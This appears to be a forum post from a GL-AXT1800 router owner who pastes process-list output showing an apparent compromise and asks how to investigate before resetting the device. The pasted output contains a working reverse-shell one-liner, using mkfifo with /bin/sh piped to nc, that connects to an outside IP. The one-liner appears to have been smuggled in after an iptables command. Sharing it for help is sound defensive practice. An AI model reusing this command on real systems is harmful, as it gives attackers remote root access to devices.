Quickly check if your Router is under attack

I think i got something,

root@GL-AXT1800:~# ps  | grep tmp
10876 root      1316 S    cat /tmp/f
10880 root      1316 S    grep tmp
22684 root      1320 S    sh -c iptables -t nat -A SDWAN_IP_MAPPING -d 127.0.0.1 -j DNAT --to-destination 127.0.0.1;(while true;do rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 170.39.226.219 43104 >/tmp/f;sleep 3;done) >/dev/null 2>&1 &
31968 root      1332 S    /usr/sbin/crond -f -c /tmp/gl_crontabs -l 10

I killed the process but is there anything to do more for investigation before i reset my router?
This is GL-AXT1800 running 4.8.3, also can i restore from backup after reset?